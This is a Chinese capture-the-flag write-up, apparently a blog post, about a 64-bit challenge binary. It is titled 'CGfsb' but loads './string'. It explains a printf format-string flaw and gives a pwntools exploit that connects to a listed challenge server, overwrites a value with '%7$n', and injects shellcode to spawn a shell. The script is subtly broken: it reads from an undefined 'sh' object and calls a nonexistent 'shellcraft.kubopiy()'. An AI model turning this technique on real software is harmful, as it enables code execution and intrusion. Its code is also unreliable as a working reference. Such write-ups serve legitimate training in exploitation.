*pwn*练习7——攻防世界-CGfsb

老样子,基本操作来一遍,发现是64位文件,拖到ida中

 v3申请了8字节的空间,前半段存放了68,后半段存放了85

进入函数sub_400D72(v4)

我们输入一个长度小于0xc的name进入函数sub_400A7D()

输入east进入下一步流程sub_400BB9()

输入v1不为1,,输入一个地址,可能存在漏洞,接着进入sub_400CA6函数

如果*a1 == a1[1] ,查找mmap函数void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);

mmap将一个文件或者其它对象映射进内存,那么我们可以利用写入 shellcode 来获取 shell。

但我们为了进入if条件就要使之*a1 == a1[1]

在 sub_400BB9 函数中存在漏洞,我们可以修改其中一方的值,使之相等。

 存在printf重大漏洞,根据gdb调试结果,到第7个参数,我们可以对其进行读写修改,加上之前传入的前半截地址,我们可以用 '%7$n' 的方式来访问并修改 main 中分配的空间中的值。

from pwn import *
kubopiy=remote("220.249.52.133",54766)#进行连接
context(arch='amd64')
elf = ELF("./string")
kubopiy.recvuntil("secret[0] is ")
v4_addr=int(sh.recvuntil(' '), 16)#16进制
kubopiy.recvuntil("What should your character's name be:")
kubopiy.sendline('aaaa')
kubopiy.recvuntil("So, where you will go?east or up?:")
kubopiy.sendline('east')
kubopiy.recvuntil("go into there(1), or leave(0)?:")
kubopiy.sendline('1')
kubopiy.recvuntil("'Give me an address'")#v4v3前半部分的地址
kubopiy.sendline(str(int(v4_addr)))
kubopiy.recvuntil("And, you wish is:")
payload='a'*85+'%7$n'#将第7+1个参数进行n%解析,并修改为85
kubopiy.sendline(payload)
shellcode=asm(shellcraft.kubopiy())
kubopiy.recvuntil("Wizard: I will help you! USE YOU SPELL")
kubopiy.sendline(shellcode)#直接写入shellcode
kubopiy.interactive()

 拿到flag,感觉这个题还有很多地方没有吃透,还要再看一下

原文地址:https://www.cnblogs.com/kubopiy/p/13721357.html